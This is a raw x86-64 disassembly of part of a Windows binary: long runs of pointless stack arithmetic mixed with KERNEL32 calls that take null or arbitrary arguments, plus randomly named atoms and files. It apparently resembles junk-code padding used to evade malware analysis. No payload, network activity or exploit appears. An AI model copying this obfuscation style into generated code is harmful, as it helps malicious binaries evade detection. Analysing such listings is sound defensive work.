mov ecx, dword [rsp + 0xd140]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd22c], eax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
mov dword [rsp + 0xd538], eax
mov rax, qword [rsp + 0x19b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb958]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfc8], eax
mov rax, qword [rsp + 0x19dc0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19e18]
mov qword [rsp + 0x1a160], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a160]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd388], eax
movzx eax, word [rsp + 0x3634]
mov word [rsp + 0x3848], ax
mov rax, qword [rsp + 0x1a0b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x19cd8]
mov rcx, qword [rsp + 0x19fb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xc888], eax
mov eax, dword [rsp + 0xd084]
mov ecx, dword [rsp + 0xd4b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc538], eax
movzx eax, byte [rsp + 0x790]
mov byte [0x1402bf5a4], al
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35b4]
and eax, ecx
mov word [rsp + 0x3150], ax
movzx eax, byte [rsp + 0x766]
mov byte [rsp + 0x80c], al
movzx eax, word [rsp + 0x2a30]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19e10]
mov word [rcx], ax
lea rax, [rsp + 0xd468]
mov qword [rsp + 0x1a168], rax
mov rax, qword [0x1402bf740]
mov ecx, dword [rsp + 0xd34c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x83ec], eax
mov rax, qword [rsp + 0x1a008]
mov eax, dword [rax]
mov dword [rsp + 0xd53c], eax
mov rax, qword [rsp + 0x19b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd504], eax
mov eax, dword [rsp + 0x8908]
mov ecx, dword [rsp + 0xb35c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd00c], eax
lea rax, [rsp + 0x7f6]
mov qword [rsp + 0x1a170], rax
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a0d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad76c], ax
mov rax, qword [rsp + 0x19d58]
mov rcx, qword [rsp + 0x19b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd4a0], eax
mov edx, 0x4fe
mov rcx, qword [rsp + 0x19a80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xcd9c], eax
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9500], eax
mov eax, dword [rsp + 0xcdfc]
mov ecx, dword [rsp + 0xd35c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9664], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xce50], eax
mov ecx, 0xb
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd540], eax
mov eax, dword [rsp + 0xd43c]
movzx ecx, al
mov eax, dword [rsp + 0xd3a0]
shl eax, cl
mov dword [rsp + 0xcf54], eax
mov rcx, qword [rsp + 0x1a100]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcf84], eax
movzx eax, word [rsp + 0x381c]
mov word [rsp + 0x384c], ax
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x580]
xor eax, ecx
mov byte [rsp + 0x38b], al
mov rax, qword [rsp + 0x19ca8]
movzx eax, word [rax]
mov word [rsp + 0x3850], ax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19f48]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7a5], al
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd500]
shr eax, cl
mov dword [0x1402ad780], eax
mov eax, dword [rsp + 0x9f6c]
mov ecx, dword [rsp + 0xd264]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce20], eax
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3808]
sub eax, ecx
mov word [rsp + 0x229c], ax
movzx eax, byte [rsp + 0x22d]
movzx ecx, byte [rsp + 0x214]
and eax, ecx
mov byte [rsp + 0x79d], al
mov rax, qword [rsp + 0x19cf0]
mov eax, dword [rax]
mov dword [rsp + 0xd544], eax
mov rax, qword [0x1402bf6c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd430]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xced8], eax
mov rax, qword [rsp + 0x19cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8de8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd280], eax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov dword [rsp + 0xd548], eax
movzx eax, byte [rsp + 0x7f8]
mov rcx, qword [rsp + 0x19e48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x808], al
mov rcx, qword [rsp + 0x19bc8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd54c], eax
mov rax, qword [rsp + 0x19dc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35f4]
add eax, ecx
mov rcx, qword [0x1402bf6d0]
mov word [rcx], ax
mov eax, dword [rsp + 0xcde8]
mov dword [rsp + 0xd550], eax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov ecx, dword [0x1402bf6f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19d20]
mov dword [rcx], eax
lea rax, [rsp + 0x82e4]
mov qword [rsp + 0x1a178], rax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8fb0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd030], eax
mov rax, qword [rsp + 0x19d20]
mov ecx, dword [rsp + 0xbfd4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce00], eax
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3290]
add eax, ecx
mov word [rsp + 0x30d4], ax
movsx eax, byte [rsp + 0x7db]
mov rcx, qword [0x1402bf5e0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7a5], al
mov rax, qword [rsp + 0x1a0c0]
movzx eax, byte [rax]
mov byte [rsp + 0x80d], al
mov rax, qword [rsp + 0x19fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x381c]
or eax, ecx
mov word [0x1402ad784], ax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [0x1402bf6c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa430], eax
mov rax, qword [rsp + 0x1a168]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19ba0]
mov qword [rsp + 0x1a180], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a180]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x19dc0]
mov dword [rcx], eax
lea rax, [rsp + 0x802]
mov qword [rsp + 0x1a188], rax
mov rcx, qword [rsp + 0x19fc8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd2c8], eax
mov rax, qword [0x1402bf6d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x19c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov dword [rsp + 0xd554], eax
mov rax, qword [rsp + 0x19ea8]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7a4], eax
mov rax, qword [rsp + 0x19ab0]
mov ecx, dword [rsp + 0xd294]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1a108]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd554]
mov ecx, dword [rsp + 0xd3e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c8c], eax
movzx eax, word [rsp + 0x36dc]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402ad704], ax
movzx eax, byte [rsp + 0x806]
movzx ecx, byte [rsp + 0x7a1]
imul eax, ecx
mov byte [rsp + 0x3be], al
mov eax, dword [rsp + 0xa7a4]
mov dword [rsp + 0xd558], eax
mov rax, qword [rsp + 0x19938]
mov ecx, dword [0x1402bf788]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd294], eax
lea rax, [rsp + 0x3620]
mov qword [rsp + 0x1a190], rax
movsx eax, byte [rsp + 0x7b6]
movsx ecx, byte [rsp + 0x55e]
add eax, ecx
mov byte [rsp + 0x7e5], al
movzx eax, byte [0x1402bf6b0]
movzx ecx, byte [rsp + 0x7ee]
sub eax, ecx
mov byte [rsp + 0x65e], al
mov rcx, qword [rsp + 0x199b8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
mov word [rsp + 0x3854], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19ff8], rax
mov rax, qword [rsp + 0x19e68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd100]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19ac0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19e08]
mov eax, dword [rax]
mov ecx, dword [0x1402ad698]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf648]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb710]
movzx ecx, al
mov eax, dword [rsp + 0xd1ac]
shl eax, cl
mov dword [rsp + 0xadbc], eax
mov rax, qword [rsp + 0x19cb8]
mov ecx, dword [rsp + 0xd0f4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7fa4], eax
mov rax, qword [rsp + 0x19a30]
mov ecx, dword [rsp + 0xd4cc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb7b8], eax
lea rax, [rsp + 0x6d3]
mov qword [rsp + 0x1a198], rax
movzx eax, word [rsp + 0x37f4]
movzx ecx, word [rsp + 0x3680]
cdq
idiv ecx
mov word [rsp + 0x35f8], ax
mov eax, dword [rsp + 0x909c]
mov dword [rsp + 0xd55c], eax
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd4d4]
shr eax, cl
mov dword [rsp + 0xd16c], eax
mov rax, qword [rsp + 0x19e80]
mov eax, dword [rax]
mov ecx, dword [0x1402ad770]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov eax, dword [rsp + 0xd114]
mov dword [0x1402bf5a0], eax
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
mov word [rsp + 0x3858], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
imul eax, eax, 0x4a
mov rcx, qword [rsp + 0x19a08]
mov byte [rcx], al
lea rax, [rsp + 0x800]
mov qword [rsp + 0x1a1a0], rax
movsx eax, word [rsp + 0x36c0]
movsx ecx, word [rsp + 0x3748]
sub eax, ecx
mov rcx, qword [rsp + 0x19ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a168]
mov ecx, dword [rsp + 0x80b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaba8], eax
mov rax, qword [rsp + 0x19f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc8fc], eax
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ea0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x23d4], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov byte [rsp + 0x80e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd350], eax
mov rax, qword [rsp + 0x19ef0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa830]
and ecx, eax
mov eax, ecx
mov dword [0x1402bf5f8], eax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c8c], eax
mov eax, dword [rsp + 0xd2e4]
mov dword [rsp + 0xd560], eax
mov rax, qword [rsp + 0x19b28]
mov ecx, dword [rsp + 0xd28c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x93f0], eax
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3664], ax
mov rax, qword [rsp + 0x1a120]
movzx eax, byte [rax]
mov byte [rsp + 0x80f], al
mov eax, dword [rsp + 0xb7e0]
mov ecx, dword [rsp + 0xad98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8194], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd008]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x92c0], eax
mov rax, qword [rsp + 0x19e68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19910]
mov qword [rsp + 0x1a1a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a1a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd28c], eax
mov rax, qword [rsp + 0x19fb8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19f10]
mov qword [rsp + 0x1a1b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a1b0]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1402ad788], eax
mov rax, qword [0x1402bf5c0]
mov ecx, dword [rsp + 0xc6c4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd438], eax
movzx eax, byte [rsp + 0x7c5]
mov byte [rsp + 0x810], al
mov edx, 0x6efb22
mov rcx, qword [rsp + 0x19c18]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd540], eax
mov rax, qword [rsp + 0x19f90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1a028]
mov word [rcx], ax
lea rcx, str.vuaxKNlOuVD
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x385c], ax
movzx eax, byte [rsp + 0x7e2]
mov byte [rsp + 0x811], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3834]
add eax, ecx
mov word [rsp + 0x35a8], ax
mov eax, dword [rsp + 0x873c]
mov ecx, dword [rsp + 0xd420]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa4], eax
mov rax, qword [rsp + 0x19a68]
mov ecx, dword [rsp + 0xd1bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xbd84], eax
mov rax, qword [rsp + 0x19d18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ea0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3678], ax
movzx eax, byte [rsp + 0x7e9]
movzx ecx, byte [rsp + 0x7b7]
add eax, ecx
mov byte [reloc.SHELL32.dll_ILSaveToStream], al
lea rax, [rsp + 0xd278]
mov qword [rsp + 0x1a1b8], rax
mov rax, qword [rsp + 0x198e0]
mov ecx, dword [rsp + 0xd088]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd320], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [0x1402bf6f8]
mov dword [rsp + 0xd564], eax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd278]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ec8], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b4]
sub eax, ecx
mov byte [rsp + 0x7fe], al
lea rax, [rsp + 0x25b8]
mov qword [rsp + 0x1a1c0], rax
mov eax, dword [rsp + 0xd144]
mov ecx, dword [rsp + 0xd18c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd008], eax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov dword [rsp + 0xd568], eax
mov rax, qword [rsp + 0x19890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x36a8]
sar eax, cl
mov word [0x1402ad678], ax
mov rax, qword [rsp + 0x19d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a158]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7d2], al
movzx eax, byte [rsp + 0x80d]
cdq
mov ecx, 0x2b
idiv ecx
mov rcx, qword [rsp + 0x19a50]
mov byte [rcx], al
mov edx, 0x4163da
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xce70], eax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a28]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x22dc], ax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xd204]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x19f88]
mov dword [rcx], eax
mov eax, dword [0x1402ad65c]
mov dword [rsp + 0xd56c], eax
mov rax, qword [rsp + 0x19cd8]
mov ecx, dword [rsp + 0xd18c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcf98], eax
mov rax, qword [rsp + 0x198f0]
mov rcx, qword [rsp + 0x19d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd068], eax
mov eax, dword [0x1402ad788]
mov dword [rsp + 0xd570], eax
movzx eax, byte [rsp + 0x79d]
mov rcx, qword [rsp + 0x19e38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78d], al
lea rax, [rsp + 0x384c]
mov qword [0x1402bf598], rax
mov rcx, qword [rsp + 0x19b30]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd574], eax
mov rax, qword [rsp + 0x1a0b8]
mov ecx, dword [rsp + 0xcf34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a7c], eax
mov rax, qword [rsp + 0x19cd8]
mov rcx, qword [rsp + 0x1a070]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcfd8], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcf44], eax
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd3b0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19ca0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd4b8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.vBsl6GCD91m_bkWiL_vPqSQXXMKtw4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a1c8], rax
mov eax, dword [rsp + 0xd174]
mov dword [rsp + 0xd578], eax
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3814], ax
lea rax, [rsp + 0x7c3]
mov qword [rsp + 0x1a1d0], rax
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd41c], eax
mov rax, qword [0x1402bf6a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x36f4]
and eax, ecx
mov rcx, qword [rsp + 0x19ca8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd040], eax
movzx eax, byte [rsp + 0x1d1]
mov byte [rsp + 0x812], al
mov rax, qword [rsp + 0x19f00]
mov ecx, dword [rsp + 0xd0a4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1402bf670]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a140]
mov eax, dword [rax]
mov rcx, qword [0x1402bf648]
mov qword [rsp + 0x1a1d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a1d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd09c], eax
mov rax, qword [rsp + 0x1a1d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d4]
sar eax, cl
mov byte [rsp + 0x7c1], al
movzx eax, word [0x1402ad72c]
movzx ecx, word [rsp + 0x3758]
xor eax, ecx
mov word [rsp + 0x20e4], ax
mov rax, qword [rsp + 0x198b8]
mov rcx, qword [rsp + 0x1a108]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x19938]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcfcc]
mov dword [rsp + 0xd57c], eax
mov rax, qword [0x1402bf5f0]
mov rcx, qword [rsp + 0x19cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8fbc], eax
mov rax, qword [rsp + 0x19a48]
mov rcx, qword [rsp + 0x198f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19850]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2ad4]
mov word [rsp + 0x3860], ax
lea rcx, [rsp + 0x1a1e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
imul eax, eax, 0x3e
mov byte [0x1402acbce], al
mov rax, qword [rsp + 0x19e88]
mov ecx, dword [rsp + 0xd0bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd22c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0x19c58]
mov eax, dword [rax]
mov dword [rsp + 0xd580], eax
mov rax, qword [rsp + 0x19c78]
mov eax, dword [rax]
mov ecx, dword [0x1402bf5b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x198f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0xd1b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf1c], eax
lea rax, [0x1402ad77c]
mov qword [rsp + 0x1a1e8], rax
movsx eax, word [rsp + 0x3730]
movsx ecx, word [rsp + 0x3748]
add eax, ecx
mov word [rsp + 0x35e0], ax
movsx eax, byte [rsp + 0x7b9]
movsx ecx, byte [rsp + 0x1e4]
add eax, ecx
mov byte [rsp + 0x682], al
mov rax, qword [0x1402bf598]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x383c]
sub eax, ecx
mov word [rsp + 0x3780], ax
movzx eax, byte [rsp + 0x1bb]
mov rcx, qword [rsp + 0x1a0c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402bf680], al
mov rax, qword [rsp + 0x1a1b8]
mov ecx, dword [0x1402bf6a0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa990], eax
mov rax, qword [rsp + 0x19db8]
mov eax, dword [rax]
mov dword [rsp + 0xd584], eax
movzx eax, byte [rsp + 0x79a]
movzx ecx, byte [rsp + 0x590]
imul eax, ecx
mov byte [rsp + 0x306], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rax, [rsp + 0x3698]
mov qword [rsp + 0x1a1f0], rax
mov eax, dword [rsp + 0xd580]
movzx ecx, al
mov eax, dword [0x1402bf6b4]
sar eax, cl
mov rcx, qword [rsp + 0x19b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov dword [rsp + 0xd588], eax
mov rax, qword [rsp + 0x19ab0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x199c8]
mov qword [rsp + 0x1a1f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a1f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd1b0], eax
mov rax, qword [0x1402bf648]
mov rcx, qword [rsp + 0x1a1e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd004], eax
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
mov word [0x1402bf590], ax
movzx eax, byte [rsp + 0x80d]
movzx ecx, byte [rsp + 0x7e1]
or eax, ecx
mov byte [rsp + 0x479], al
mov rax, qword [rsp + 0x19bf8]
mov ecx, dword [rsp + 0xd1f0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19af0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd4f8]
mov dword [rsp + 0xd58c], eax
mov ecx, 0xb
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xcd24], eax
mov rax, qword [rsp + 0x1a1a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f5]
sub eax, ecx
mov byte [rsp + 0x1d3], al
mov rax, qword [rsp + 0x1a118]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x19960]
mov word [rcx], ax
mov rax, qword [rsp + 0x19f98]
movzx eax, byte [rax]
mov byte [rsp + 0x813], al
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35cc]
sub eax, ecx
mov word [rsp + 0x360c], ax
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb404]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa960], eax
mov eax, dword [rsp + 0xd45c]
mov ecx, dword [rsp + 0xd2e8]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad6a0], eax
mov rcx, qword [rsp + 0x19be0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x19ab0]
mov ecx, dword [rsp + 0xd300]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf10], eax
mov rax, qword [rsp + 0x19f58]
mov ecx, dword [rsp + 0xd17c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd308], eax
lea rax, [0x1402ad698]
mov qword [rsp + 0x1a200], rax
movzx eax, byte [rsp + 0x7cd]
movzx ecx, byte [rsp + 0x7ae]
add eax, ecx
mov byte [rsp + 0x7b4], al
mov rax, qword [rsp + 0x1a030]
movzx eax, word [rax]
mov word [rsp + 0x3864], ax
mov rax, qword [rsp + 0x19f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc0fc], eax
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov dword [rsp + 0xd590], eax
mov rax, qword [rsp + 0x19980]
mov rcx, qword [rsp + 0x19e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb250], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd158]
xor ecx, eax
mov eax, ecx
mov dword [0x1402ad78c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x19970]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x796]
sar eax, cl
mov byte [rsp + 0x7cb], al
movzx eax, word [rsp + 0x3674]
movzx ecx, word [rsp + 0x3720]
shl eax, cl
mov word [rsp + 0x2a04], ax
lea rcx, [rsp + 0x2af78]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r9d, 2
lea r8, [rsp + 0x19eb8]
mov rdx, qword [rsp + 0x1a208]
mov rcx, qword [rsp + 0x1a110]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd07c], eax
